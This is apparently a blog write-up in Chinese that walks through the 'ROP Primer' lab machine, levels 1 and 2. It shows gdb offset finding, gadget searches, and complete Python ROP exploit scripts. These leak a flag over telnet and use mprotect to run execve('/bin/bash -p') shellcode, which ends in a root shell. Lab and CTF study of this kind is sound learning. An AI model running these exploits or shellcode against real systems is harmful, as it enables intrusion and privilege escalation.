/root/peda/peda.py:6873: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 2:
/root/peda/peda.py:6875: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 3:
/root/peda/peda.py:6884: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 2:
/root/peda/peda.py:6886: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 3:
Reading symbols from ./level1...
(No debugging symbols found in ./level1)
gdb-peda$ set follow-fork-mode child
gdb-peda$ checksec level1
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

攻擊機視窗A:

gdb-peda$ pattern create 100
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
gdb-peda$ r
Starting program: /home/kali/LPT_day3/level1
[Thread debugging using libthread_db enabled]

攻擊機視窗B:

┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# nc localhost 8888
Welcome to
 XERXES File Storage System
  available commands are:
  store, read, exit.

> store
 Please, how many bytes is your file?

> 101
 Please, send your file:

> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
   XERXES is pleased to inform you
    that your file was received
        most successfully.
 Please, give a filename:
> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

每次需要輸入就在視窗B輸入視窗A的pattern,輸了兩次以後,可以發現視窗A變化:

[Inferior 1 (process 125068) detached]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Thread 2.1 "level1" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xf7fc2500 (LWP 125110)]

────────────────────────────────── Registers ───────────────────────────────────
EAX: 0xffffffff
EBX: 0xf7e1cff4 --> 0x21cd8c
ECX: 0x80490d8 ("  XERXES wishes you\n      a NICE day.\n")
EDX: 0xffffffb4
ESI: 0x8048ea0 (<__libc_csu_init>:      push   ebp)
EDI: 0xf7ffcb80 --> 0x0
EBP: 0x48414132 ('2AAH')
ESP: 0xffffd450 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
EIP: 0x41644141 ('AAdA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
───────────────────────────────────── Code ─────────────────────────────────────
Invalid $PC address: 0x41644141
──────────────────────────────────── Stack ─────────────────────────────────────
0000| 0xffffd450 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
0004| 0xffffd454 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
0008| 0xffffd458 ("AA4AAJAAfAA5AAKAAgAA6AAL\n")
0012| 0xffffd45c ("AJAAfAA5AAKAAgAA6AAL\n")
0016| 0xffffd460 ("fAA5AAKAAgAA6AAL\n")
0020| 0xffffd464 ("AAKAAgAA6AAL\n")
0024| 0xffffd468 ("AgAA6AAL\n")
0028| 0xffffd46c ("6AAL\n")
────────────────────────────────────────────────────────────────────────────────
Legend: code, data, rodata, heap, value
Stopped reason: SIGSEGV

輸入指令,算出可以蓋掉EIP的offset是多少:

gdb-peda$ pattern_offset 0x41644141
1097089345 found at offset: 64

換靶機的cmd:

level1@rop:~$ gdb -q ./level1
Reading symbols from ./level1...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x8048d1c
gdb-peda$ r
Starting program: /home/level1/level1
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0xb7fd0000 --> 0x1aada8
ECX: 0x759f7f5f
EDX: 0xbffff724 --> 0xb7fd0000 --> 0x1aada8
ESI: 0x0
EDI: 0x0
EBP: 0xbffff6f8 --> 0x0
ESP: 0xbffff6f8 --> 0x0
EIP: 0x8048d1c (<main+3>:       and    esp,0xfffffff0)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048d18 <handle_conn+1027>:        ret
   0x8048d19 <main>:    push   ebp
   0x8048d1a <main+1>:  mov    ebp,esp
=> 0x8048d1c <main+3>:  and    esp,0xfffffff0
   0x8048d1f <main+6>:  sub    esp,0x30
   0x8048d22 <main+9>:  mov    DWORD PTR [esp+0x2c],0xffffffff
   0x8048d2a <main+17>: mov    DWORD PTR [esp+0x28],0xffffffff
   0x8048d32 <main+25>: mov    DWORD PTR [esp+0x8],0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff6f8 --> 0x0
0004| 0xbffff6fc --> 0xb7e3ea83 (<__libc_start_main+243>:       mov    DWORD PTR [esp],eax)
0008| 0xbffff700 --> 0x1
0012| 0xbffff704 --> 0xbffff794 --> 0xbffff8b4 ("/home/level1/level1")
0016| 0xbffff708 --> 0xbffff79c --> 0xbffff8c8 ("XDG_SESSION_ID=4")
0020| 0xbffff70c --> 0xb7feccea (add    ebx,0x12316)
0024| 0xbffff710 --> 0x1
0028| 0xbffff714 --> 0xbffff794 --> 0xbffff8b4 ("/home/level1/level1")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048d1c in main ()
gdb-peda$ find "flag"
Searching for 'flag' in: None ranges
Found 13 results, display max 13 items:
    level1 : 0x8049128 ("flag")
    level1 : 0x804a128 ("flag")
      libc : 0xb7e33537 ("flags")
      libc : 0xb7e35de1 ("flags")
      libc : 0xb7e3620a ("flags")
      libc : 0xb7f83320 ("flags")
      libc : 0xb7f863f5 ("flags2 & 4")
      libc : 0xb7f88245 ("flags")
      libc : 0xb7f88d6f ("flags & 0x4)")
ld-2.19.so : 0xb7ff8750 ("flag & 0100) == 0")
ld-2.19.so : 0xb7ff91e2 ("flag value(s) of 0x%x in DT_FLAGS_1.\n")
ld-2.19.so : 0xb7ff9aeb ("flags & ~(DL_LOOKUP_ADD_DEPENDENCY | DL_LOOKUP_GSCOPE_LOCK)) == 0")
ld-2.19.so : 0xb7ffa576 ("flags_1 & 0x00000008) == 0")

尋找可用rop:

gdb-peda$ ropgadget
ret = 0x804851c
popret = 0x8048e93
pop2ret = 0x8048ef7
pop3ret = 0x8048ef6
pop4ret = 0x8048ef5
leaveret = 0x8048610
addesp_44 = 0x8048ef2
gdb-peda$ p open
$1 = {<text variable, no debug info>} 0xb7f00060 <open>
gdb-peda$ p write
$2 = {<text variable, no debug info>} 0xb7f00570 <write>
gdb-peda$ p read
$3 = {<text variable, no debug info>} 0xb7f004f0 <read>
gdb-peda$ vmmap
Start      End        Perm      Name
0x08048000 0x0804a000 r-xp      /home/level1/level1
0x0804a000 0x0804b000 rw-p      /home/level1/level1
0xb7e24000 0xb7e25000 rw-p      mapped
0xb7e25000 0xb7fce000 r-xp      /lib/i386-linux-gnu/libc-2.19.so
0xb7fce000 0xb7fd0000 r--p      /lib/i386-linux-gnu/libc-2.19.so
0xb7fd0000 0xb7fd1000 rw-p      /lib/i386-linux-gnu/libc-2.19.so
0xb7fd1000 0xb7fd4000 rw-p      mapped
0xb7fdb000 0xb7fdd000 rw-p      mapped
0xb7fdd000 0xb7fde000 r-xp      [vdso]
0xb7fde000 0xb7ffe000 r-xp      /lib/i386-linux-gnu/ld-2.19.so
0xb7ffe000 0xb7fff000 r--p      /lib/i386-linux-gnu/ld-2.19.so
0xb7fff000 0xb8000000 rw-p      /lib/i386-linux-gnu/ld-2.19.so
0xbffdf000 0xc0000000 rw-p      [stack]

在攻擊機上編輯level1_rop_01.py,內容如下: (要注意,p open/write/read的輸出在攻擊機跟靶機是不一樣的,要用靶機輸出的值)。

import struct
import telnetlib

def p(x):
    return struct.pack('<L', x)

open = 0xb7f00060
read = 0xb7f004f0
write = 0xb7f00570 

flag = 0x8049128

pop2ret = 0x8048ef7
pop3ret = 0x8048ef6

payload = "A" * 64

#open flag
payload += p(open)
payload += p(pop2ret)
payload += p(flag)    #pathname
payload += p(0x0)     #flags

#read flag
payload += p(open)
payload += p(pop3ret)
payload += p(0x3)     #0:stdin 1:stdout 2:stderr 3:flag 4:socket
payload += p(0x0804a000)     #buf
payload += p(0x80) #nbyte

#write it to the connected socket
payload += p(write)
payload += "FAKE"
payload += p(0x4)     #fd
payload += p(0x0804a000)     #buf
payload += p(0x80) #count

tn = telnetlib.Telnet("192.168.18.195", 8888)

#send store sommand
print tn.read_until("> ")
tn.write("store\n")

#send file size
print tn.read_until("> ")
tn.write("%d\n" %(len(payload) + 1))

#send file content
print tn.read_until("> ")
tn.write(payload + "\n")

#send file name
print tn.read_until("> ")
tn.write(payload)

print tn.read_all()

在攻擊機上執行:

┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# python2 level1_rop_01.py
Welcome to
 XERXES File Storage System
  available commands are:
  store, read, exit.

>
 Please, how many bytes is your file?

>
 Please, send your file:

>
   XERXES is pleased to inform you
    that your file was received
        most successfully.
 Please, give a filename:
>
flag{just_one_rop_chain_a_day_keeps_the_doctor_away}
RXES regrets to inform you
    that an error occurred
        while receivi

換level2:

aaa

level2@rop:~$ gdb -q ./level2
Reading symbols from ./level2...(no debugging symbols found)...done.
gdb-peda$ checksec level2
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

aaa

現在想找多少偏移可控制EIP,但gdb-peda的pattern create如果設的數字太大會有括號,造成錯誤:

gdb-peda$ pattern_create 500
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA'
gdb-peda$ r AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA
Starting program: /home/level2/level2 AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA
/bin/bash: -c: line 0: syntax error near unexpected token `('
/bin/bash: -c: line 0: `exec /home/level2/level2 AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA'
During startup program exited with code 1.

所以在攻擊機上用pwn tool的cyclic來生成。

攻擊機:

┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

靶機:

gdb-peda$ r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Starting program: /home/level2/level2 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xbffff5cc --> 0x80ca4c0 --> 0xfbad2a84
EDX: 0x80cb430 --> 0x0
ESI: 0x80488f0 (<__libc_csu_fini>:      push   ebp)
EDI: 0xc5809f12
EBP: 0x6161616b ('kaaa')
ESP: 0xbffff620 ("maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
EIP: 0x6161616c ('laaa')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x6161616c
[------------------------------------stack-------------------------------------]
0000| 0xbffff620 ("maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0004| 0xbffff624 ("naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0008| 0xbffff628 ("oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0012| 0xbffff62c ("paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0016| 0xbffff630 ("qaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0020| 0xbffff634 ("raaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0024| 0xbffff638 ("saaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0028| 0xbffff63c ("taaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x6161616c in ?? ()

攻擊機算可蓋掉EIP的offset

┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# cyclic -l 0x6161616c
44

由于是 strcpy 函数,在拷贝时会以 0x00 字节为结束符。这就提示我们,当我们打入的 payload 中间含有 0x00 字符时,其后的 payload 则不会顺利拷贝,从而导致无法正常执行获取shell

gdb-peda$ vmmap
Start      End        Perm      Name
0x08048000 0x080ca000 r-xp      /home/level2/level2
0x080ca000 0x080cb000 rw-p      /home/level2/level2
0x080cb000 0x080ef000 rw-p      [heap]
0xb7ffe000 0xb7fff000 rw-p      mapped
0xb7fff000 0xb8000000 r-xp      [vdso]
0xbffdf000 0xc0000000 rw-p      [stack]

要注意base address是上圖的0x08048000,而下圖的base address是0,所以等一下寫code要注意加回去(下面python程式的c(x)函式)

我们需要从标准输入中读取shellcode,为了执行,需要按如下方式布置寄存器。

eax = 3, ebx = 0, ecx = 0x80ca000, edx = 128

实现 edx = 0x7 的思想:先pop edx,接下來在栈上放 0xffffffff,再inc edx 8次。

code如下:

import struct

def p(x):
    return struct.pack('<L', x)

#convert offset to absolute address
def c(x):
    return p(0x08048000 + x)

payload = "A" * 44

#mprotect(0x080ca000, 128, PROT_READ|PROT_WRITE|PROT_EXEC)
#edx = 7
payload += c(0x0000a476) #pop edx; ret
payload += p(0xffffffff) #edx
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret

#ebx = 0xbffdf000 ecx = 01010101
payload += c(0x0000a49d) #pop ecx; pop ebx; ret
payload += p(0x01010101) #ecx
payload += p(0xbffdf001) #ebx = 0xbffdf000 + 1
payload += c(0x00007871) #dec ebx; ret

# Return into MPROTECT
payload += p(0x0805229d)            # MPROTECT + 13
payload += p(0x41414141)            # Junk used by mprotect 'pop ebx'
payload += p(0x42424242)            # crash!!

print payload

接下來就是在r旁邊餵入python程式產生的輸出:

gdb-peda$ r `python level2_rop_02.py`
Starting program: /home/level2/level2 `python level2_rop_02.py`
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒q▒AAAABBBB!

Program received signal SIGSEGV, Segmentation fault.
xterm-256colorxterm-256colorxterm-256color[----------------------------------registers-----------------------------------]
EAX: 0xffffffff
EBX: 0x41414141 ('AAAA')
ECX: 0x1010101
EDX: 0x7
ESI: 0x80488f0 (<__libc_csu_fini>:      push   ebp)
EDI: 0x300d1b7a
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff6c0 --> 0x0
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff6c0 --> 0x0
0004| 0xbffff6c4 --> 0x0
0008| 0xbffff6c8 --> 0x0
0012| 0xbffff6cc --> 0x300d1b7a
0016| 0xbffff6d0 --> 0x0
0020| 0xbffff6d4 --> 0x0
0024| 0xbffff6d8 --> 0x0
0028| 0xbffff6dc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$ vmmap
Start      End        Perm      Name
0x08048000 0x080ca000 r-xp      /home/level2/level2
0x080ca000 0x080cb000 rw-p      /home/level2/level2
0x080cb000 0x080ef000 rw-p      [heap]
0xb7ffe000 0xb7fff000 rw-p      mapped
0xb7fff000 0xb8000000 r-xp      [vdso]
0xbffdf000 0xbffdf000 rw-p      mapped
0xbffdf000 0xc0000000 rwxp      [stack]

使用objdump,把所有組合語言dump出來:

┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# objdump -d level2

level2:     file format elf32-i386


Disassembly of section .init:

再利用ropshell跟剛剛dump出來的組合語言來找gadget:

ropshell.com : 0x00027b4c : mov eax, edx; ret,0x00027b4c+0x08048000 = 0x0806fb4c。

objdump -d level 2: 806fb4c: 89 d0 mov %edx,%eax

根據以上資訊跟其他ropshell找到的資訊寫程式:

import struct

def p(x):
    return struct.pack('<L', x)

#convert offset to absolute address
def c(x):
    return p(0x08048000 + x)

def write_to_mem(addr, val):
    g = ""
    g += c(0x0000a476)            # pop edx; ret
    g += p(val)                   # value to write
    g += c(0x00027b4c)            # mov eax, edx
    g += c(0x0000a476)            # pop edx
    g += p(addr)                  # address to write to
    g += c(0x00030e71)            # mov edx,eax (copy memory)
    return g

payload = "A" * 44

#mprotect(0x080ca000, 128, PROT_READ|PROT_WRITE|PROT_EXEC)
#edx = 7
payload += c(0x0000a476) #pop edx; ret
payload += p(0xffffffff) #edx
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret

#ebx = 0xbffdf000 ecx = 01010101
payload += c(0x0000a49d) #pop ecx; pop ebx; ret
payload += p(0x01010101) #ecx
payload += p(0xbffdf001) #ebx = 0xbffdf000 + 1
payload += c(0x00007871) #dec ebx; ret

# Return into MPROTECT
payload += p(0x0805229d)            # MPROTECT + 13
payload += p(0x41414141)            # Junk used by mprotect 'pop ebx'
#payload += p(0x42424242)            # crash!!

# Write our shellcode to the stack
payload += write_to_mem(0xbffdf040, 0x99580b6a)
payload += write_to_mem(0xbffdf044, 0x2d686652)
payload += write_to_mem(0xbffdf048, 0x52e18970)
payload += write_to_mem(0xbffdf04c, 0x2f68686a)
payload += write_to_mem(0xbffdf050, 0x68736162)
payload += write_to_mem(0xbffdf054, 0x6e69622f)
payload += write_to_mem(0xbffdf058, 0x5152e389)
payload += write_to_mem(0xbffdf05c, 0xcde18953)
payload += write_to_mem(0xbffdf060, 0x80808080)

# Jump to our shellcode
payload += c(0x0000a476)            # pop edx
payload += p(0xbffdf040)            # address of shellcode
payload += c(0x0003c02f)            # jmp edx

print payload

來看看dump出來的一小段:

08078e60 <_dl_get_tls_static_info>:
 8078e60:       8b 0d 08 a4 0c 08       mov    0x80ca408,%ecx
 8078e66:       55                      push   %ebp
 8078e67:       89 e5                   mov    %esp,%ebp
 8078e69:       89 08                   mov    %ecx,(%eax)
 8078e6b:       a1 d0 c4 0c 08          mov    0x80cc4d0,%eax
 8078e70:       5d                      pop    %ebp
 8078e71:       89 02                   mov    %eax,(%edx)
 8078e73:       c3                      ret
 8078e74:       8d b6 00 00 00 00       lea    0x0(%esi),%esi
 8078e7a:       8d bf 00 00 00 00       lea    0x0(%edi),%edi

這是0x08078e71的由來,用ropshell.com找不到,要直接看objdump的結果。

0x08052290 :    push   ebx
0x08052291 :    mov    edx,DWORD PTR [esp+0x10]
0x08052295 :    mov    ecx,DWORD PTR [esp+0xc]
0x08052299 :    mov    ebx,DWORD PTR [esp+0x8]
0x0805229d :    mov    eax,0x7d
0x080522a2 :    int    0x80
0x080522a4 :    pop    ebx
0x080522a5 :    cmp    eax,0xfffff001
0x080522aa :    jae    0x8053720 <__syscall_error>
0x080522b0 :    ret

以上是mprotect+13 (0x0805229d)的由來

 mprotect(const void *start, size_t len, int prot)

mprotect要通过system call来执行,也就是int 0x80。调用号在x86中是0x7d,而在x86-64中是10。根據上面英文投影片,ebx就是start,ecx是長度,edx是讀寫權限,要設7。因為调用号在x86中是0x7d,所以是mov eax 0x7d,就是0x0805229d。

如果是objdump結果如下:

08052290 <__mprotect>:
 8052290:       53                      push   %ebx
 8052291:       8b 54 24 10             mov    0x10(%esp),%edx
 8052295:       8b 4c 24 0c             mov    0xc(%esp),%ecx
 8052299:       8b 5c 24 08             mov    0x8(%esp),%ebx
 805229d:       b8 7d 00 00 00          mov    $0x7d,%eax
 80522a2:       cd 80                   int    $0x80
 80522a4:       5b                      pop    %ebx
 80522a5:       3d 01 f0 ff ff          cmp    $0xfffff001,%eax
 80522aa:       0f 83 70 14 00 00       jae    8053720 <__syscall_error>
 80522b0:       c3                      ret
 80522b1:       90                      nop

接下來是真正getshell的惡意程式碼:

08048054 <.text>:
 8048054:    6a 0b                    push   $0xb
 8048056:    58                       pop    %eax
 8048057:    99                       cltd   
 8048058:    52                       push   %edx
 8048059:    66 68 2d 70              pushw  $0x702d
 804805d:    89 e1                    mov    %esp,%ecx
 804805f:    52                       push   %edx
 8048060:    6a 68                    push   $0x68
 8048062:    68 2f 62 61 73           push   $0x7361622f
 8048067:    68 2f 62 69 6e           push   $0x6e69622f
 804806c:    89 e3                    mov    %esp,%ebx
 804806e:    52                       push   %edx
 804806f:    51                       push   %ecx
 8048070:    53                       push   %ebx
 8048071:    89 e1                    mov    %esp,%ecx
 8048073:    cd 80                    int    $0x80

它的真身其實是下面指令的組語:

Linux x86 - execve("/bin/bash", ["/bin/bash", "-p"], NULL) - 33 bytes

執行ROP程式:

level2@rop:~$ ./level2 `python ./level2_rop_02.py`
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒q▒AAAAvj
                                                                                                               X▒Lv@▒▒qvRfh-LvD▒▒qvp▒▒RLvH▒▒qvjhh/LvL▒▒qvbashLvP▒▒qv/binLvT▒▒qv▒▒RQLvX▒▒qvS▒▒▒Lv\▒▒qv▒▒▒▒Lv`▒▒qv@▒▒!@
<256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorid
bash: xterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorid: command not found
bash-4.3# id
uid=1002(level2) gid=1002(level2) euid=0(root) groups=0(root),1002(level2)
bash-4.3# cat flag
flag{to_rop_or_not_to_rop}

結束。

Reference

ROP Primer - Walkthrough of Level 2 - XPN InfoSec Blog
Linux/x86 - execve(/bin/bash, [/bin/bash, -p], NULL) - 33 bytes
Pwn学习笔记:Rop Primer靶机实战_学逆向论坛|免费的CTF在线练习平台|ctf攻防训练靶场|网安夺旗竞赛系统|软件破解|病毒分析|游戏外挂|视频教程|xuenixiang.com - Powered by Discuz!
Pwn靶机实战——Rop Primer入门ROP-安全客 - 安全资讯平台
https://syscalls32.paolostivanin.com










Related Posts

透過製作 Babel-plugin 初訪 AST

透過製作 Babel-plugin 初訪 AST

JavaScript 變數型態判斷及賦值

JavaScript 變數型態判斷及賦值

NPM & NPX

NPM & NPX


Comments